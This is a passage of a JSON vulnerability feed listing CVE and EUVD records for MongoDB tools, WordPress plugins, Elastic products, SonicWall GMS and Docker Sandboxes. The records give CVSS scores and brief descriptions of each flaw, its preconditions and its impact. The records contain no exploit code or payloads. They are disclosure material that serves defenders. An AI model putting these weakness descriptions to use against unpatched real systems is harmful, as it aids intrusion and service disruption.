Tools"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-119674","summary":"MongoDB Database Tools mongorestore incorrectly URL-decodes an original collection name read from metadata when the corresponding dump filename has been truncated. A database user who can create and populate a suitably encoded collection can cause a later authorized directory restore to write those documents into a different collection that the user cannot modify directly. When both collection names resolve to the same destination, backed-up documents may be omitted; use of --drop can also replace the unintended destination collection. Exploitation requires an operator to restore the affected collection from a directory dump with write access to the destination. This issue affects MongoDB Database Tools versions 100.0.2 through versions before 100.20.1.","cvss":2.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":2.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/mongodb/mongo-tools/blob/master/CHANGELOG.md"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:06","euvd":{"id":"EUVD-2026-116031","description":"MongoDB Database Tools mongorestore incorrectly URL-decodes an original collection name read from metadata when the corresponding dump filename has been truncated. A database user who can create and populate a suitably encoded collection can cause a later authorized directory restore to write those documents into a different collection that the user cannot modify directly. When both collection names resolve to the same destination, backed-up documents may be omitted; use of --drop can also replace the unintended destination collection. Exploitation requires an operator to restore the affected collection from a directory dump with write access to the destination. This issue affects MongoDB Database Tools versions 100.0.2 through versions before 100.20.1.","published_time":"2026-11-03T16:21:36","cvss":2.1,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://github.com/mongodb/mongo-tools/blob/master/CHANGELOG.md"],"products":["Database Tools"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-119485","summary":"Missing Authorization vulnerability in weDevs Dokan dokan-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Dokan: from n/a through 5.3.2.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/dokan-lite/vulnerability/wordpress-dokan-plugin-5-3-2-broken-access-control-vulnerability-2?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:05","euvd":{"id":"EUVD-2026-116091","description":"Missing Authorization vulnerability in weDevs Dokan dokan-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Dokan: from n/a through 5.3.2.","published_time":"2026-11-03T16:57:33","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/dokan-lite/vulnerability/wordpress-dokan-plugin-5-3-2-broken-access-control-vulnerability-2?_s_id=cve"],"products":["Dokan"],"vendors":["wedevs"]},"ghsa":null},{"cve_id":"CVE-2026-116858","summary":"Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in WPMU DEV Forminator forminator allows Code Injection.This issue affects Forminator: from n/a through 1.58.3.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/forminator/vulnerability/wordpress-forminator-plugin-1-58-3-content-injection-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:57","euvd":{"id":"EUVD-2026-116085","description":"Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in WPMU DEV Forminator forminator allows Code Injection.This issue affects Forminator: from n/a through 1.58.3.","published_time":"2026-11-03T16:45:49","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/forminator/vulnerability/wordpress-forminator-plugin-1-58-3-content-injection-vulnerability?_s_id=cve"],"products":["Forminator"],"vendors":["WPMU DEV"]},"ghsa":null},{"cve_id":"CVE-2026-116859","summary":"Missing Authorization vulnerability in WPMU DEV Forminator forminator allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Forminator: from n/a through 1.58.3.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/forminator/vulnerability/wordpress-forminator-plugin-1-58-3-broken-access-control-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:57","euvd":{"id":"EUVD-2026-116086","description":"Missing Authorization vulnerability in WPMU DEV Forminator forminator allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Forminator: from n/a through 1.58.3.","published_time":"2026-11-03T16:48:24","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/forminator/vulnerability/wordpress-forminator-plugin-1-58-3-broken-access-control-vulnerability?_s_id=cve"],"products":["Forminator"],"vendors":["WPMU DEV"]},"ghsa":null},{"cve_id":"CVE-2026-115714","summary":"Improper Certificate Validation (CWE-295) in the operating system certificate bundle shipped in the Docker images of APM Server; Auditbeat, Filebeat, Heartbeat, Metricbeat and Packetbeat; Elastic Agent, including Fleet Server and Cloudbeat; Logstash, for TLS connections that use the operating system certificate bundle; Elastic connectors; Universal Profiling (host agent, collector and symbolizer); and Elastic Maps Server. This certificate bundle, a dependency of these products (Dependency on Vulnerable Third-Party Component, CWE-1395), could allow an attacker to intercept or modify TLS-protected traffic via Signature Spoofing by Key Theft (CAPEC-474). The certificate bundle includes root certificate authorities that signed eight eMudhra intermediate certificate authorities whose private keys are compromised. Anyone with these keys can issue a certificate for any host name that these products accept as trusted. Exploitation requires an attacker in a network position between the product and the remote party, who presents a certificate issued with one of the compromised keys.","cvss":7.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/multiple-elastic-docker-images-8-19-24-9-4-9-9-5-6-security-update-esa-2026-237/391374"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:56","euvd":{"id":"EUVD-2026-116082","description":"Improper Certificate Validation (CWE-295) in the operating system certificate bundle shipped in the Docker images of APM Server; Auditbeat, Filebeat, Heartbeat, Metricbeat and Packetbeat; Elastic Agent, including Fleet Server and Cloudbeat; Logstash, for TLS connections that use the operating system certificate bundle; Elastic connectors; Universal Profiling (host agent, collector and symbolizer); and Elastic Maps Server. This certificate bundle, a dependency of these products (Dependency on Vulnerable Third-Party Component, CWE-1395), could allow an attacker to intercept or modify TLS-protected traffic via Signature Spoofing by Key Theft (CAPEC-474). The certificate bundle includes root certificate authorities that signed eight eMudhra intermediate certificate authorities whose private keys are compromised. Anyone with these keys can issue a certificate for any host name that these products accept as trusted. Exploitation requires an attacker in a network position between the product and the remote party, who presents a certificate issued with one of the compromised keys.","published_time":"2026-11-03T16:44:18","cvss":7.4,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/multiple-elastic-docker-images-8-19-24-9-4-9-9-5-6-security-update-esa-2026-237/391374"],"products":["Elastic Docker images","Elastic Docker images","Elastic Docker images"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-115715","summary":"Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can lead to denial of service via a specially crafted input value that is processed by an affected phonetic encoder of the analysis-phonetic plugin. An authenticated user with permission to write documents to or run searches against an index that uses an affected encoder can cause an Elasticsearch node to exhaust its heap memory. The node can become unresponsive or terminate.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/elasticsearch-8-19-24-9-4-9-9-5-6-security-update-esa-2026-235/391372"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:56","euvd":{"id":"EUVD-2026-116080","description":"Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can lead to denial of service via a specially crafted input value that is processed by an affected phonetic encoder of the analysis-phonetic plugin. An authenticated user with permission to write documents to or run searches against an index that uses an affected encoder can cause an Elasticsearch node to exhaust its heap memory. The node can become unresponsive or terminate.","published_time":"2026-11-03T16:44:14","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/elasticsearch-8-19-24-9-4-9-9-5-6-security-update-esa-2026-235/391372"],"products":["Elasticsearch","Elasticsearch","Elasticsearch"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-115716","summary":"Allocation of Resources Without Limits or Throttling (CWE-770) in APM Server can lead to denial of service via Oversized Serialized Data Payloads (CAPEC-231). An attacker who can send OpenTelemetry (OTLP) data to APM Server over HTTP can cause APM Server to exhaust its memory and terminate. This stops the intake of APM and OpenTelemetry data until APM Server restarts.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/apm-server-8-19-24-9-4-9-9-5-6-security-update-esa-2026-236/391373"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:56","euvd":{"id":"EUVD-2026-116081","description":"Allocation of Resources Without Limits or Throttling (CWE-770) in APM Server can lead to denial of service via Oversized Serialized Data Payloads (CAPEC-231). An attacker who can send OpenTelemetry (OTLP) data to APM Server over HTTP can cause APM Server to exhaust its memory and terminate. This stops the intake of APM and OpenTelemetry data until APM Server restarts.","published_time":"2026-11-03T16:44:15","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/apm-server-8-19-24-9-4-9-9-5-6-security-update-esa-2026-236/391373"],"products":["APM Server","APM Server","APM Server"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-115292","summary":"Authorization Bypass Through User-Controlled Key (CWE-639) in Kibana Machine Learning can lead to information disclosure via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user with Machine Learning read access in one Kibana space can read the audit and error messages of data frame analytics jobs that belong to other spaces that the user is not authorized to access. These messages can include job details such as destination index names, analyzed field names, and failure information.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/kibana-8-19-24-9-4-9-9-5-6-security-update-esa-2026-203/391357"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:55","euvd":{"id":"EUVD-2026-116073","description":"Authorization Bypass Through User-Controlled Key (CWE-639) in Kibana Machine Learning can lead to information disclosure via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user with Machine Learning read access in one Kibana space can read the audit and error messages of data frame analytics jobs that belong to other spaces that the user is not authorized to access. These messages can include job details such as destination index names, analyzed field names, and failure information.","published_time":"2026-11-03T16:44:01","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/kibana-8-19-24-9-4-9-9-5-6-security-update-esa-2026-203/391357"],"products":["Kibana","Kibana","Kibana"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-115293","summary":"Insertion of Sensitive Information Into Sent Data (CWE-201) in Kibana Observability onboarding can lead to disclosure of the credentials that Kibana uses to connect to Elasticsearch. When these credentials are embedded in the Elasticsearch host URLs in the Kibana configuration, an authenticated user with the privileges to onboard Observability data can obtain them. The user can then access Elasticsearch directly with the privileges of the Kibana service account, which are outside the privileges granted to that user.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/kibana-8-19-24-9-4-9-9-5-6-security-update-esa-2026-204/391358"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:55","euvd":{"id":"EUVD-2026-116074","description":"Insertion of Sensitive Information Into Sent Data (CWE-201) in Kibana Observability onboarding can lead to disclosure of the credentials that Kibana uses to connect to Elasticsearch. When these credentials are embedded in the Elasticsearch host URLs in the Kibana configuration, an authenticated user with the privileges to onboard Observability data can obtain them. The user can then access Elasticsearch directly with the privileges of the Kibana service account, which are outside the privileges granted to that user.","published_time":"2026-11-03T16:44:03","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/kibana-8-19-24-9-4-9-9-5-6-security-update-esa-2026-204/391358"],"products":["Kibana","Kibana","Kibana"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-115294","summary":"Improper Limitation of a Pathname to a Restricted Directory (CWE-22) in the Kibana Fleet feature can lead to unauthorized resource deletion via Path Traversal (CAPEC-126). A low-privileged user with Fleet agent policies write access could cause a subsequent administrative action to act on unintended resources. This can result in the deletion of resources such as Kibana spaces and other organizational assets that the low-privileged user cannot delete directly. Exploitation requires an administrator to interact with the affected Fleet interface.","cvss":7.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/kibana-9-4-9-9-5-6-security-update-esa-2026-205/391359"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:55","euvd":{"id":"EUVD-2026-116075","description":"Improper Limitation of a Pathname to a Restricted Directory (CWE-22) in the Kibana Fleet feature can lead to unauthorized resource deletion via Path Traversal (CAPEC-126). A low-privileged user with Fleet agent policies write access could cause a subsequent administrative action to act on unintended resources. This can result in the deletion of resources such as Kibana spaces and other organizational assets that the low-privileged user cannot delete directly. Exploitation requires an administrator to interact with the affected Fleet interface.","published_time":"2026-11-03T16:44:04","cvss":7.3,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/kibana-9-4-9-9-5-6-security-update-esa-2026-205/391359"],"products":["Kibana","Kibana"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-115295","summary":"Authorization Bypass Through User-Controlled Key (CWE-639) in Kibana can lead to information disclosure via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user with read access to connectors in one Kibana space can retrieve connector execution log information from other spaces that they are not authorized to access. The disclosed information includes connector names and identifiers, execution status, timestamps, error messages, and aggregated execution statistics.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/kibana-8-19-24-9-4-9-9-5-6-security-update-esa-2026-206/391360"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:55","euvd":{"id":"EUVD-2026-116076","description":"Authorization Bypass Through User-Controlled Key (CWE-639) in Kibana can lead to information disclosure via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user with read access to connectors in one Kibana space can retrieve connector execution log information from other spaces that they are not authorized to access. The disclosed information includes connector names and identifiers, execution status, timestamps, error messages, and aggregated execution statistics.","published_time":"2026-11-03T16:44:06","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/kibana-8-19-24-9-4-9-9-5-6-security-update-esa-2026-206/391360"],"products":["Kibana","Kibana","Kibana"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-115297","summary":"NULL Pointer Dereference (CWE-476) in the AMQP protocol parser in Packetbeat can lead to denial of service via specially crafted network traffic. An unauthenticated attacker who can send traffic on a network segment that Packetbeat monitors for AMQP can cause a Go runtime panic that terminates the Packetbeat process. A single crafted packet is sufficient. No AMQP authentication is necessary. While Packetbeat is not running, it does not collect network telemetry.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/packetbeat-8-19-24-9-4-9-9-5-6-security-update-esa-2026-208/391361"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:55","euvd":{"id":"EUVD-2026-116077","description":"NULL Pointer Dereference (CWE-476) in the AMQP protocol parser in Packetbeat can lead to denial of service via specially crafted network traffic. An unauthenticated attacker who can send traffic on a network segment that Packetbeat monitors for AMQP can cause a Go runtime panic that terminates the Packetbeat process. A single crafted packet is sufficient. No AMQP authentication is necessary. While Packetbeat is not running, it does not collect network telemetry.","published_time":"2026-11-03T16:44:08","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/packetbeat-8-19-24-9-4-9-9-5-6-security-update-esa-2026-208/391361"],"products":["Packetbeat","Packetbeat","Packetbeat"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-115298","summary":"Incorrect Authorization (CWE-863) in Elasticsearch can lead to information disclosure via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user whose index access is restricted by field-level security can retrieve the value of a constant_keyword field that their role excludes. Some search and query features do not apply the field-level security restriction to this field type.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/elasticsearch-8-19-24-9-4-9-9-5-6-security-update-esa-2026-209/391362"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:55","euvd":{"id":"EUVD-2026-116078","description":"Incorrect Authorization (CWE-863) in Elasticsearch can lead to information disclosure via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). An authenticated user whose index access is restricted by field-level security can retrieve the value of a constant_keyword field that their role excludes. Some search and query features do not apply the field-level security restriction to this field type.","published_time":"2026-11-03T16:44:11","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/elasticsearch-8-19-24-9-4-9-9-5-6-security-update-esa-2026-209/391362"],"products":["Elasticsearch","Elasticsearch","Elasticsearch"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-115710","summary":"Use of Cache Containing Sensitive Information (CWE-524) in Elasticsearch can lead to information disclosure and incorrect search results via specially crafted search requests. For some query types, Elasticsearch can share cached query results between users who have field-level security restrictions and users who do not. A user restricted by field-level security can learn which documents match a value in a field that they cannot read. A restricted user can also cause users with full access to receive incomplete search results. Disclosure is only possible when a user with full access ran the same query on the same shard recently.","cvss":4.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.2,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/elasticsearch-8-19-24-9-4-9-9-5-6-security-update-esa-2026-210/391363"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:55","euvd":{"id":"EUVD-2026-116079","description":"Use of Cache Containing Sensitive Information (CWE-524) in Elasticsearch can lead to information disclosure and incorrect search results via specially crafted search requests. For some query types, Elasticsearch can share cached query results between users who have field-level security restrictions and users who do not. A user restricted by field-level security can learn which documents match a value in a field that they cannot read. A restricted user can also cause users with full access to receive incomplete search results. Disclosure is only possible when a user with full access ran the same query on the same shard recently.","published_time":"2026-11-03T16:44:13","cvss":4.2,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/elasticsearch-8-19-24-9-4-9-9-5-6-security-update-esa-2026-210/391363"],"products":["Elasticsearch","Elasticsearch","Elasticsearch"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-114183","summary":"Insertion of Sensitive Information Into Sent Data vulnerability in WPVibes AnyWhere Elementor anywhere-elementor allows Retrieve Embedded Sensitive Data.This issue affects AnyWhere Elementor: from n/a through 1.3.0.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/anywhere-elementor/vulnerability/wordpress-anywhere-elementor-plugin-1-3-0-sensitive-data-exposure-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:54","euvd":{"id":"EUVD-2026-116087","description":"Insertion of Sensitive Information Into Sent Data vulnerability in WPVibes AnyWhere Elementor anywhere-elementor allows Retrieve Embedded Sensitive Data.This issue affects AnyWhere Elementor: from n/a through 1.3.0.","published_time":"2026-11-03T16:49:43","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/anywhere-elementor/vulnerability/wordpress-anywhere-elementor-plugin-1-3-0-sensitive-data-exposure-vulnerability?_s_id=cve"],"products":["AnyWhere Elementor"],"vendors":["WPVibes"]},"ghsa":null},{"cve_id":"CVE-2026-114185","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPVibes AnyWhere Elementor anywhere-elementor allows Stored XSS.This issue affects AnyWhere Elementor: from n/a through 1.3.0.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/anywhere-elementor/vulnerability/wordpress-anywhere-elementor-plugin-1-3-0-cross-site-scripting-xss-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:54","euvd":{"id":"EUVD-2026-116092","description":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPVibes AnyWhere Elementor anywhere-elementor allows Stored XSS.This issue affects AnyWhere Elementor: from n/a through 1.3.0.","published_time":"2026-11-03T16:59:35","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/anywhere-elementor/vulnerability/wordpress-anywhere-elementor-plugin-1-3-0-cross-site-scripting-xss-vulnerability?_s_id=cve"],"products":["AnyWhere Elementor"],"vendors":["WPVibes"]},"ghsa":null},{"cve_id":"CVE-2026-114187","summary":"Missing Authorization vulnerability in WPVibes AnyWhere Elementor anywhere-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AnyWhere Elementor: from n/a through 1.3.0.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/anywhere-elementor/vulnerability/wordpress-anywhere-elementor-plugin-1-3-0-broken-access-control-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:54","euvd":{"id":"EUVD-2026-116095","description":"Missing Authorization vulnerability in WPVibes AnyWhere Elementor anywhere-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AnyWhere Elementor: from n/a through 1.3.0.","published_time":"2026-11-03T17:01:22","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/anywhere-elementor/vulnerability/wordpress-anywhere-elementor-plugin-1-3-0-broken-access-control-vulnerability?_s_id=cve"],"products":["AnyWhere Elementor"],"vendors":["WPVibes"]},"ghsa":null},{"cve_id":"CVE-2026-115289","summary":"Use of Multiple Resources with Duplicate Identifier (CWE-694) in APM Server can lead to information disclosure via a specially crafted agent configuration request. An authenticated APM agent could receive the central agent configuration that belongs to a different service until the cached configuration expires. A service could also run with central configuration settings, such as sampling settings, that were meant for a different service.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/apm-server-8-19-24-9-4-9-9-5-6-security-update-esa-2026-200/391355"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:54","euvd":{"id":"EUVD-2026-116071","description":"Use of Multiple Resources with Duplicate Identifier (CWE-694) in APM Server can lead to information disclosure via a specially crafted agent configuration request. An authenticated APM agent could receive the central agent configuration that belongs to a different service until the cached configuration expires. A service could also run with central configuration settings, such as sampling settings, that were meant for a different service.","published_time":"2026-11-03T16:43:58","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/apm-server-8-19-24-9-4-9-9-5-6-security-update-esa-2026-200/391355"],"products":["APM Server","APM Server","APM Server"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-115290","summary":"Uncontrolled Recursion (CWE-674) in Elasticsearch can lead to denial of service via Serialized Data with Nested Payloads (CAPEC-230). An unauthenticated attacker with network access to the remote cluster server interface of a node can send a specially crafted request that causes the node to terminate. No credentials are required. The attacker can repeat the request against each reachable node.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://discuss.elastic.co/t/elasticsearch-8-19-24-9-4-9-9-5-6-security-update-esa-2026-201/391356"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:54","euvd":{"id":"EUVD-2026-116072","description":"Uncontrolled Recursion (CWE-674) in Elasticsearch can lead to denial of service via Serialized Data with Nested Payloads (CAPEC-230). An unauthenticated attacker with network access to the remote cluster server interface of a node can send a specially crafted request that causes the node to terminate. No credentials are required. The attacker can repeat the request against each reachable node.","published_time":"2026-11-03T16:43:59","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"elastic","references":["https://discuss.elastic.co/t/elasticsearch-8-19-24-9-4-9-9-5-6-security-update-esa-2026-201/391356"],"products":["Elasticsearch","Elasticsearch","Elasticsearch"],"vendors":["Elastic"]},"ghsa":null},{"cve_id":"CVE-2026-109593","summary":"An unauthenticated attacker with network access to the SonicWall GMS 9.5.2 and earlier versions may be able to read internal GMS files, potentially exposing sensitive information.","cvss":9.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0019"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:53","euvd":{"id":"EUVD-2026-116034","description":"An unauthenticated attacker with network access to the SonicWall GMS 9.5.2 and earlier versions may be able to read internal GMS files, potentially exposing sensitive information.","published_time":"2026-11-03T16:25:11","cvss":9.1,"cvss_version":"3.1","epss":0.0,"assigner":"sonicwall","references":["https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0019"],"products":["Global Management System (GMS)"],"vendors":["SonicWall"]},"ghsa":null},{"cve_id":"CVE-2026-109594","summary":"Post-authentication Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability has been identified in the End-of-Life SonicWall GMS 9.5.2 and earlier versions which in specific conditions could potentially allow an authenticated attacker to access or modify information stored in the GMS database.","cvss":6.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0019"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:53","euvd":{"id":"EUVD-2026-116040","description":"Post-authentication Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability has been identified in the End-of-Life SonicWall GMS 9.5.2 and earlier versions which in specific conditions could potentially allow an authenticated attacker to access or modify information stored in the GMS database.","published_time":"2026-11-03T16:28:35","cvss":6.8,"cvss_version":"3.1","epss":0.0,"assigner":"sonicwall","references":["https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0019"],"products":["Global Management System (GMS)"],"vendors":["SonicWall"]},"ghsa":null},{"cve_id":"CVE-2026-103077","summary":"Missing Authorization vulnerability in myCred myCred mycred allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects myCred: from n/a through 4.0.2.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/mycred/vulnerability/wordpress-mycred-plugin-4-0-2-broken-access-control-vulnerability-2?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:52","euvd":{"id":"EUVD-2026-116093","description":"Missing Authorization vulnerability in myCred myCred mycred allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects myCred: from n/a through 4.0.2.","published_time":"2026-11-03T17:00:11","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/mycred/vulnerability/wordpress-mycred-plugin-4-0-2-broken-access-control-vulnerability-2?_s_id=cve"],"products":["myCred"],"vendors":["myCred"]},"ghsa":null},{"cve_id":"CVE-2026-103916","summary":"Docker Sandboxes sbx cp does not safely confine host-side paths to a shared workspace. A malicious sandbox can create or replace a workspace symlink so that a later user-initiated copy reads a host file outside the workspace into the sandbox or writes sandbox-controlled data to a host path outside the workspace with the invoking user's 